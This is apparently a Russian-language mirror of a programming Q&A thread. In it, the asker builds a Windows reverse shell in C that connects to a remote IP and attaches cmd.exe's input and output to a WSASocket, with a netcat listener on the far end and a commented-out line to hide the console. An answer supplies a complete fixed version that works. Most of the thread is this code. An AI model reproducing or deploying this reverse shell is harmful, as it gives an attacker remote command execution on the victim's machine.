Могут ли WSASockets осуществлять процессный ввод-вывод без использования каналов? - PullRequest
0 голосов
/ 10 октября 2019

Я экспериментирую с WSASockets, и я очень новичок в этом.

Я пытался отправить ввод и вывод процесса (в данном случае cmd.exe, чтобы действовать как удаленная оболочка) через сокет с помощью дескрипторов, но всякий раз, когда я пытаюсь использовать:

si.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;

, программа завершается, не выводя результат на другой конец сокета: nc -lvnp 8081. В какой-то момент я также попытался переключиться на обычные сокеты, но услышал, что использование таких дескрипторов будет работать только с WSA, потому что они не перекрываются.

Вот мой код:

#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024

void BindSock(char* rhost, int rport);

int main(int argc, char** argv) {
    //FreeConsole(); // This is the way to make the cmd vanish
    char rhost[] = "xxxxxxxxxxxxxxxx"; // ip to connect to
    int rport = 8081;
    BindSock(rhost, rport);
    return 0;
}
void BindSock(char* rhost, int rport) {
    /*while (1) {*/
        SECURITY_ATTRIBUTES saAttr;
        saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
        saAttr.bInheritHandle = TRUE;
        saAttr.lpSecurityDescriptor = NULL;
        // Initialize Winsock
        WSADATA wsaData;
        int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
        if (iResult != NO_ERROR) {
            printf("WSAStartup function failed with error: %d\n", iResult);
            return;
        }
        printf("[*] Winsock init ... \n");
        //init socket props
        SOCKET sock;
        sock = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0,0,0);
        if (sock == INVALID_SOCKET) {
            printf("socket function failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return;
        }
        printf("[*] Sock init ... \n");
        //Filling struc props
        struct sockaddr_in clientService;
        clientService.sin_family = AF_INET;
        InetPton(AF_INET, rhost, &(clientService.sin_addr));
        clientService.sin_port = htons(rport);

        printf("[*] attempting to connect \n");
        iResult = WSAConnect(sock, (SOCKADDR*)&clientService, sizeof(clientService),NULL,NULL,NULL,NULL);
        if (iResult == SOCKET_ERROR) {
            printf("[!] connect function failed with error: %ld\n", WSAGetLastError());
            iResult = closesocket(sock);
            if (iResult == SOCKET_ERROR)
                printf("[!] closesocket function failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return;
        }
        printf("[X] Sock Connected\n");

        STARTUPINFO si;
        PROCESS_INFORMATION pi;

        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));


        si.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
        si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;

        printf("[*] Created process props\n");

        CreateProcessA(NULL, "\"cmd.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    //}
}

Ответы [ 2 ]

0 голосов
/ 11 октября 2019

Ключевые моменты:

  1. Вам необходимо использовать поставщика сокетов (с флагом XP1_IFS_HANDLES), который поддерживает перенаправление ввода / вывода. Как отметил @ Реми Лебо.
  2. Пусть новый процесс, запущенный с CreateProcess, наследует дескриптор текущего процесса, чтобы дескриптор сокета можно было использовать в новом процессе для записи и чтения. (Установите для bInheritHandles значение ИСТИНА.)

У меня работают три провайдера протоколов.

enter image description here

ЗавершеноПример кода, предоставленный здесь для всех, кто интересуется.

#include <iostream>
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <objbase.h>
#pragma comment(lib, "Ws2_32.lib")


#ifndef UNICODE
#define UNICODE 1
#endif

// Link with ws2_32.lib and ole32.lib
#pragma comment (lib, "ole32.lib")

#define MALLOC(x) HeapAlloc(GetProcessHeap(), 0, (x))
#define FREE(x) HeapFree(GetProcessHeap(), 0, (x))
// Note: could also use malloc() and free()

void BindSock(char* rhost, int rport);

void connect(char* rhost, int rport, LPWSAPROTOCOL_INFOW protocolInfo)
{
    //init socket props
    SOCKET sock;
    sock = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, protocolInfo, 0, 0);
    if (sock == INVALID_SOCKET) {
        printf("socket function failed with error: %ld\n", WSAGetLastError());
        WSACleanup();
        return;
    }
    //printf("[*] Sock init ... \n");
    //Filling struc props
    struct sockaddr_in clientService;
    clientService.sin_family = AF_INET;
    InetPton(AF_INET, rhost, &(clientService.sin_addr));
    clientService.sin_port = htons(rport);

    //printf("[*] attempting to connect \n");
    int iResult = WSAConnect(sock, (SOCKADDR*)&clientService, sizeof(clientService), NULL, NULL, NULL, NULL);
    if (iResult == SOCKET_ERROR) {
        printf("[!] connect function failed with error: %ld\n", WSAGetLastError());
        iResult = closesocket(sock);
        if (iResult == SOCKET_ERROR)
            printf("[!] closesocket function failed with error: %ld\n", WSAGetLastError());
        WSACleanup();
        return;
    }
    printf("[X] Sock Connected\n");

    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));


    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = (HANDLE)sock;
    si.hStdOutput = (HANDLE)sock;
    si.hStdError = (HANDLE)sock;

    printf("[*] Created process props\n");

    if (!CreateProcess("c:\\windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
        printf("\nCreateProcess error: %d", GetLastError());

    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

void BindSock(char* rhost, int rport) {
    /*while (1) {*/
    SECURITY_ATTRIBUTES saAttr;
    saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
    saAttr.bInheritHandle = TRUE;
    saAttr.lpSecurityDescriptor = NULL;
    // Initialize Winsock
    WSADATA wsaData;
    int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != NO_ERROR) {
        printf("WSAStartup function failed with error: %d\n", iResult);
        return;
    }
    printf("[*] Winsock init ... \n");

    // Allocate a 16K buffer to retrieve all the protocol providers
    DWORD dwBufferLen = 16384;
    LPWSAPROTOCOL_INFOW lpProtocolInfo = NULL;
    lpProtocolInfo = (LPWSAPROTOCOL_INFOW)MALLOC(dwBufferLen);
    if (lpProtocolInfo == NULL) {
        wprintf(L"Memory allocation for providers buffer failed\n");
        WSACleanup();
        return;
    }
    int iError = 0;
    INT iNuminfo = 0;
    iNuminfo = WSAEnumProtocolsW(NULL, lpProtocolInfo, &dwBufferLen);
    if (iNuminfo == SOCKET_ERROR) {
        iError = WSAGetLastError();
        if (iError != WSAENOBUFS) {
            wprintf(L"WSAEnumProtocols failed with error: %d\n", iError);
            if (lpProtocolInfo) {
                FREE(lpProtocolInfo);
                lpProtocolInfo = NULL;
            }
            WSACleanup();
            return;
        }
        else {
            wprintf(L"WSAEnumProtocols failed with error: WSAENOBUFS (%d)\n",
                iError);
            wprintf(L"  Increasing buffer size to %d\n\n", dwBufferLen);
            if (lpProtocolInfo) {
                FREE(lpProtocolInfo);
                lpProtocolInfo = NULL;
            }
            lpProtocolInfo = (LPWSAPROTOCOL_INFOW)MALLOC(dwBufferLen);
            if (lpProtocolInfo == NULL) {
                wprintf(L"Memory allocation increase for buffer failed\n");
                WSACleanup();
                return;
            }
            iNuminfo = WSAEnumProtocolsW(NULL, lpProtocolInfo, &dwBufferLen);
            if (iNuminfo == SOCKET_ERROR) {
                iError = WSAGetLastError();
                wprintf(L"WSAEnumProtocols failed with error: %d\n", iError);
                if (lpProtocolInfo) {
                    FREE(lpProtocolInfo);
                    lpProtocolInfo = NULL;
                }
                WSACleanup();
                return;
            }

        }
    }

    wprintf(L"WSAEnumProtocols succeeded with protocol count = %d\n\n",
        iNuminfo);
    for (int i = 0; i < iNuminfo; i++) {
        wprintf(L"Winsock Catalog Provider Entry #%d\n", i);
        wprintf
        (L"----------------------------------------------------------\n");
        // Find protocol provider has the XP1_IFS_HANDLES flag
        if (!(lpProtocolInfo[i].dwServiceFlags1 & XP1_IFS_HANDLES))
            continue;

        // After test and found these three protocol provider support this purpose. 
        if(!((lpProtocolInfo[i].dwCatalogEntryId == 1001) || (lpProtocolInfo[i].dwCatalogEntryId == 1006) || (lpProtocolInfo[i].dwCatalogEntryId == 1007)))
            continue;

        wprintf(L"Entry type:\t\t\t ");
        if (lpProtocolInfo[i].ProtocolChain.ChainLen == 1)
            wprintf(L"Base Service Provider\n");
        else
            wprintf(L"Layered Chain Entry\n");

        wprintf(L"Protocol:\t\t\t %ws\n", lpProtocolInfo[i].szProtocol);
        WCHAR GuidString[40] = { 0 };
        int iRet =
            StringFromGUID2(lpProtocolInfo[i].ProviderId,
            (LPOLESTR)& GuidString, 39);
        if (iRet == 0)
            wprintf(L"StringFromGUID2 failed\n");
        else
            wprintf(L"Provider ID:\t\t\t %ws\n", GuidString);

        wprintf(L"Catalog Entry ID:\t\t %u\n",
            lpProtocolInfo[i].dwCatalogEntryId);

        wprintf(L"ServiceFlags1:\t\t\t 0x%x\n",
            lpProtocolInfo[i].dwServiceFlags1);

        wprintf(L"\n");

        // Try to connect and redirect process output to remote via socket
        connect(rhost, rport, &lpProtocolInfo[i]);
    }

    if (lpProtocolInfo) {
        FREE(lpProtocolInfo);
        lpProtocolInfo = NULL;
    }
    WSACleanup();
}

int main(int argc, char** argv) {
    char rhost[] = "xxxxxxxxx"; // ip to connect to
    int rport = 8081; // select a port
    BindSock(rhost, rport);
    return 0;
}
0 голосов
/ 11 октября 2019

Я обнаружил проблему в:

CreateProcessA(NULL, "\"cmd.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

Пятый параметр для bInheritHandles, для которого необходимо установить значение true, чтобы процесс мог правильно использовать дескрипторы сокета.

Проверьте этот документ для получения дополнительной информации

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...